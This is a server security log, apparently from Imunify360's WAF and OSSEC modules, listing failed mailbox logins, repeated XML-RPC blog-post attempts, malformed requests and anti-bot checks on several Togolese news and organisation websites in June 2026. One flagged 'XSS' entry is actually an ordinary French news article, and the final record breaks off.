rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-12 10:31:59 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:56036: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.211.13.146
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:guillaume.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:18b31b9e9558a3766e15ce43851957cd8b182959||Title:bxpbfczj6nckjmc||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.241.249.174
country_id: 3895114
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/plugins/gtranslate/flags/svg/fr.svg HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.223.251.9
country_id: 2395170
description:
Jun 12 10:32:30 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.223.251.9 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 146.70.65.241
country_id: 2328926
description:
146.70.65.241 - - [12/Jun/2026:10:33:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=19022326 HTTP/1.0" 404 561 direct7.tg "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:146.70.65.241


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.211.13.146
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:guillaume.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7661043ddac7287f006b6d5200895f3df690b67a||Title:7ox1cvuqni5t3ra2||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 146.70.65.241
country_id: 2328926
description:
146.70.65.241 - - [12/Jun/2026:10:33:01 +0000] "GET /favicon.ico HTTP/1.0" 415 587 direct7.tg "http://direct7.tg/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=19022326" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:146.70.65.241


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.211.13.146
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:guillaume.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9a201f745c9b2d47309f0bcb001f175422367436||Title:781rtib9b92jrfz2ok||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 10:34:47 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:4155: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.211.13.146
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:guillaume.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:cc7d0b6e75f52b67a3b4b0326c8c5edc8759c3f3||Title:5434w0csn1p2es0x6g||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.211.13.146
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:guillaume.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:89439f6bca5851d5d13b3b05a2e22802372c4b6e||Title:l00qtzeigxuredd||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 10:35:23 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.229.178.176
country_id: 1522867
description:
Jun 12 10:35:32 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.229.178.176 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 10:36:07 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:4156: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 102.64.165.143
country_id: 2363686
domain: macite.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:paragraph -->\n<p><strong><em>l\xe2\x80\x99\xc3\xa9dition 2026 du forum sur les fragilit\xc3\xa9s, organis\xc3\xa9 par la banque mondiale, s\xe2\x80\x99est tenue le 9 juin dernier. centr\xc3\xa9 sur le th\xc3\xa8me crucial : \xc2\xab soutenir la pr\xc3\xa9vention dans les pays \xc3\xa0 risque : le\xc3\xa7ons tir\xc3\xa9es du sahel \xc2\xbb, cet \xc3\xa9v\xc3\xa9nement international, a r\xc3\xa9uni des d\xc3\xa9cideurs de haut niveau pour repenser les strat\xc3\xa9gies de lutte contre l'instabilit\xc3\xa9, les conflits et l'extr\xc3\xa9misme violent en afrique de l'ouest.</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>invit\xc3\xa9e \xc3\xa0 partager l'exp\xc3\xa9rience togolaise, madame le ministre, secr\xc3\xa9taire g\xc3\xa9n\xc3\xa9rale de la pr\xc3\xa9sidence du conseil et gouverneur du groupe de la banque mondiale pour le togo, dr sandra ablmaba jonhosn, a pris une part active \xc3\xa0 ce panel de premier plan. c\xe2\x80\x99\xc3\xa9tait aux c\xc3\xb4t\xc3\xa9s d'\xc3\xa9minentes personnalit\xc3\xa9s telles qu\xe2\x80\x99ousmane diagana (vice-pr\xc3\xa9sident de la banque mondiale pour l'afrique de l'ouest et du centre) et leonardo santos sim\xc3\xa3o (repr\xc3\xa9sentant sp\xc3\xa9cial des nations unies pour le sahel). a ce rendez-vous, le togo a fait figure de cas d'\xc3\xa9cole gr\xc3\xa2ce \xc3\xa0 son approche avant-gardiste de la r\xc3\xa9silience communautaire.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>la session s'est longuement appesantie sur les vuln\xc3\xa9rabilit\xc3\xa9s qui ont d\xc3\xa9stabilis\xc3\xa9 la r\xc3\xa9gion sah\xc3\xa9lienne. pour \xc3\xa9viter que ces dynamiques ne migrent vers les pays du golfe de guin\xc3\xa9e, quatre enseignements majeurs ont \xc3\xa9t\xc3\xa9 d\xc3\xa9gag\xc3\xa9s, \xc3\xa0 savoir&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>- agir t\xc3\xb4t et de mani\xc3\xa8re proactive, ceci pour anticiper les risques en s'appuyant sur des donn\xc3\xa9es quantitatives et qualitatives fiables&nbsp;;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>- b\xc3\xa2tir un <em>\xc2\xab \xc3\x89tat protecteur \xc2\xbb</em>, en intensifiant massivement les investissements socio-\xc3\xa9conomiques de base&nbsp;;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>- assurer la pr\xc3\xa9sence continue de l\xe2\x80\x99\xc3\x89tat par l\xe2\x80\x99occupation des territoires p\xc3\xa9riph\xc3\xa9riques pour \xc3\xa9viter les vides institutionnels&nbsp;; et</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>- garantir l'appropriation locale, en alignant les financements des partenaires techniques et financiers (ptf) sur les r\xc3\xa9alit\xc3\xa9s du terrain.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31146,\"width\":\"574px\",\"height\":\"auto\",\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/image-30-724x1024.png\" alt=\"\" class=\"wp-image-31146\" style=\"width:574px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><em>\xc2\xab l\xe2\x80\x99exp\xc3\xa9rience du sahel montre que l\xc3\xa0 o\xc3\xb9 l\xe2\x80\x99\xc3\x89tat est absent, les vuln\xc3\xa9rabilit\xc3\xa9s s\xe2\x80\x99installent et les groupes extr\xc3\xa9mistes s\xe2\x80\x99enracinent \xc2\xbb</em>, a rappel\xc3\xa9 madame le ministre lors des \xc3\xa9changes.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>la strat\xc3\xa9gie du togo, une approche int\xc3\xa9gr\xc3\xa9e en 3 volets</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>le togo, sous le leadership du pr\xc3\xa9sident du conseil, a con\xc3\xa7u une r\xc3\xa9ponse globale et multisectorielle. la doctrine togolaise est claire : la pr\xc3\xa9vention ne peut \xc3\xaatre uniquement militaire. elle repose sur l'articulation simultan\xc3\xa9e de trois piliers fondamentaux, notamment l\xe2\x80\x99anticipation, la protection, et le renforcement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>ainsi, anticiper ou le recours \xc3\xa0 l'alerte pr\xc3\xa9coce, appelle \xc3\xa0 une architecture int\xc3\xa9gr\xc3\xa9e s'appuyant sur le <em>comit\xc3\xa9 interminist\xc3\xa9riel de pr\xc3\xa9vention et la lutte contre l'extr\xc3\xa9misme violent</em> (ciplev) et sur un m\xc3\xa9canisme d\xe2\x80\x99alerte rapide permettant d'\xc3\xa9touffer les menaces en amont.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>la protection, qui sous-entend la riposte militaire, suppose une action op\xc3\xa9rationnelle. sur le terrain op\xc3\xa9rationnel, les forces de d\xc3\xa9fense et de s\xc3\xa9curit\xc3\xa9 (fds) d\xc3\xa9ploy\xc3\xa9es pour l'op\xc3\xa9ration koundjoar\xc3\xa9, garantissent la s\xc3\xa9curit\xc3\xa9 des fronti\xc3\xa8res nord, face aux incursions et tentatives d'infiltration terroristes.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>le renforcement renvoie \xc3\xa0 la r\xc3\xa9silience socio-\xc3\xa9conomique des populations. de ce point de vue, l\xe2\x80\x99ex\xc3\xa9cutif m\xc3\xa8ne un vaste programme d\xe2\x80\x99urgence pour le renforcement de la r\xc3\xa9silience et la s\xc3\xa9curit\xc3\xa9 des communaut\xc3\xa9s (purs). un volet b\xc3\xa9n\xc3\xa9ficie du soutien du projet de coh\xc3\xa9sion sociale des r\xc3\xa9gions nord du golfe de guin\xc3\xa9e <strong>(coso)</strong> et des financements additionnels de l'association internationale de d\xc3\xa9veloppement (guichet ida 20 / pra).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>des r\xc3\xa9sultats concrets \xe2\x80\xa6</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>le mod\xc3\xa8le togolais d\xc3\xa9montre avec succ\xc3\xa8s que la pr\xc3\xa9sence publique par l'investissement est l'arme la plus efficace contre la fragilit\xc3\xa9. \xc3\x80 travers le projet coso, les retomb\xc3\xa9es sont d'ores et d\xc3\xa9j\xc3\xa0 palpables. c\xe2\x80\x99est plus de 830 infrastructures de proximit\xc3\xa9 cr\xc3\xa9\xc3\xa9es ou r\xc3\xa9habilit\xc3\xa9es&nbsp;; quelque 545.000 b\xc3\xa9n\xc3\xa9ficiaires directs, touchant en grande majorit\xc3\xa9 les femmes et les jeunes&nbsp;; et des investissements cibl\xc3\xa9s dans des secteurs vitaux, tels que l'\xc3\xa9ducation, la sant\xc3\xa9, l'eau potable et l'\xc3\xa9nergie.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31157,\"width\":\"612px\",\"height\":\"auto\",\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/18d98b1d-0295-41c7-afab-fc9c13606bd0-724x1024.jpg\" alt=\"\" class=\"wp-image-31157\" style=\"width:612px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>notons qu\xe2\x80\x99en couplant de front riposte militaire, alerte pr\xc3\xa9coce et d\xc3\xa9veloppement local, le togo prouve \xc3\xa0 la communaut\xc3\xa9 internationale que la pr\xc3\xa9vention constitue aujourd'hui l'investissement le plus rentable pour sauvegarder la paix, l'emploi et la stabilit\xc3\xa9 territoriale.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>la r\xc3\xa9daction</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a><strong><em>@macite.tg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</em></strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>e-mail&nbsp;: </em></strong><a href=\"mailto:maciteinfo@gmail.com\"><strong><em>maciteinfo@gmail.com</em></strong></a><strong><em>; </em></strong><a href=\"mailto:bawela1@gmail.com\"><strong><em>bawela1@gmail.com</em></strong></a><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>pour vos annonces, publi-reportages, etc., joignez-nous au (00228)91515309/<strong>79872224 </strong><strong></strong></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>www.macite.tg, l\xe2\x80\x99information, la bonne&nbsp;!</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.247.71.159
country_id: 290557
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-includes/blocks/paragraph/style.min.css?ver=6.9.4 HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.247.71.165
country_id: 290557
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-includes/js/jquery/jquery.min.js?ver=3.7.1 HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.211.13.146
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:guillaume.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a62b5582d37cfe21d603b2314382a2b990c4c158||Title:yo8qtwmm1inwayt||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 10:37:07 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:4158: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 84.233.216.247
country_id: 2921044
description:
84.233.216.247 - - [12/Jun/2026:10:36:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=21664900 HTTP/1.1" 404 561 direct7.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:84.233.216.247


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-12 10:36:48 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:52514: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.28.164.242
country_id: 3017382
description:
104.28.164.242 - - [12/Jun/2026:10:37:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10132682&pdata=https%253A%252F%252Fvitrinenews.tg%252F2022%252F03%252F09%252Ftogo-8-mars-les-femmes-de-la-poste-du-togo-ont-fait-un-geste-noble%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781260668 HTTP/2.0" 302 0 vitrinenews.tg "https://vitrinenews.tg/2022/03/09/togo-8-mars-les-femmes-de-la-poste-du-togo-ont-fait-un-geste-noble/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.28.164.242


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.211.13.146
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:guillaume.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:29262e403c6d234ff7a4228218e38c9b9b88bf71||Title:20xjgazl0jyprb6c||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [12/Jun/2026:10:37:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=24941068 HTTP/2.0" 404 561 direct7.tg "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: modsec
rule: 77350582
name: IM360 WAF: Bytedancewebview detected
abuser: 104.232.222.55
country_id: 2802361
domain: www.butodra.tg
description:
IM360 WAF: Bytedancewebview detected||UA:Mozilla/5.0 (Linux; Android 13; SM-A225F Build/TP1A.220624.014; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/118.0.0.0 Mobile Safari/537.36 musical_ly_2022604050 JsSdk/1.0 NetType/WIFI Channel/googleplay AppName/musical_ly app_version/26.4.5 ByteLocale/en ByteFullLocale/en Region/GB Spark/1.1.9.4-bugfix AppVersion/26.4.5 PIA/1.4.3 BytedanceWebview/d8a21c6||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.211.13.146
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:guillaume.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:128de40acd1c56b33d04de15a995b588fa89310e||Title:ksnfwdvf1ucowgug9||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.211.13.146
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:guillaume.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4bad114679863344dc47d896cbb2e0ce5d114d41||Title:810ofnlkn47n6mnw||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 196.118.87.206
country_id: 2542007
description:
196.118.87.206 - - [12/Jun/2026:10:40:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9802601&pdata=https%253A%252F%252Ftogodailynews.tg%252Fdebat-general-aux-nations-unies-le-chef-de-letat-exprime-ses-conviction-et-vision-pour-un-monde-radieux%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781260800 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/debat-general-aux-nations-unies-le-chef-de-letat-exprime-ses-conviction-et-vision-pour-un-monde-radieux/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2798.1175 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:196.118.87.206


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [12/Jun/2026:10:39:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=28031578 HTTP/2.0" 404 561 direct7.tg "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.180
country_id: 1880251
description:
47.128.96.180 - - [12/Jun/2026:10:41:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9998690&pdata=https%253A%252F%252Fcfpj.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781260871 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.180


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.211.13.146
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:guillaume.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9dcf6400820713c1f9fae933d98260825f052c3d||Title:z1vovzr7w2jgidn||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 10:40:34 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:4161: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 109.127.82.2
country_id: 99237
description:
109.127.82.2 - - [12/Jun/2026:10:40:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13211496&pdata=https%253A%252F%252Ftogodailynews.tg%252Ftogo-la-campagne-de-commercialisation-du-soja-pour-la-saison-2025-2026-lancee%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781260839 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/togo-la-campagne-de-commercialisation-du-soja-pour-la-saison-2025-2026-lancee/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2247.1989 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:109.127.82.2


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.211.13.146
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:guillaume.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4d504a715bec1a8a38ef8db9255ebbcdb0279841||Title:i71prm1ff9tjyb6m||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.208.116.132
country_id: 6252001
description:
2026-06-12 10:41:36 dovecot_plain authenticator failed for H=(mx3ra89cmj12ezdfzj4xm3k6ujxm) [74.208.116.132]:12843: 535 Incorrect authentication data (set_id=emmanuel.megbenu@mesyscom.com)


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 77.81.93.52
country_id: 1819730
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:request_uri||MV:pistes-rurales-le-ministre-kanfitine-tchede-issa-rappelle-a-lordre-et-met-en-garde-les-entreprises-titulaires-des-marches-en-retard-sur-lexecution-des-travaux/||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.211.13.146
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:guillaume.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f25fe212427ea1eacca96b9464f022a23c72293b||Title:zvs5bs59d28jyvpid||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 79.127.181.103
country_id: 390903
description:
79.127.181.103 - - [12/Jun/2026:10:43:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=24941068 HTTP/1.1" 404 561 direct7.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:79.127.181.103


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.211.13.146
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:guillaume.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f64b938324c4ddd55d3bf202b8851e74cbf3ad62||Title:8pj9d2s00bpbmll||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.188.241.243
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/fonds-africain-de-developpement-cinq-pays-membres-regionaux-de-la-bad-prendront-part-a-la-reconstitution-des-ressources/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.188.241.243
country_id: 1562822
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/fonds-africain-de-developpement-cinq-pays-membres-regionaux-de-la-bad-prendront-part-a-la-reconstitution-des-ressources/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 158.173.79.67
country_id: 597427
description:
158.173.79.67 - - [12/Jun/2026:10:44:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=28031578 HTTP/1.1" 404 561 direct7.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.79.67


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.211.13.146
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:guillaume.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:54e18e40f4bab764bd1fcc7d14ac7d0420c2680d||Title:lurt00x3llpxje1h1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.229.178.176
country_id: 1522867
description:
Jun 12 10:44:38 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.229.178.176 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.211.13.146
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:guillaume.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:62cc469d0a38226bc94a4b642b6fdd600c5b4aa7||Title:od0xnywf187l1zkcrc||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.211.13.146
country_id: 1269750
domain: misstogo.tg
description:
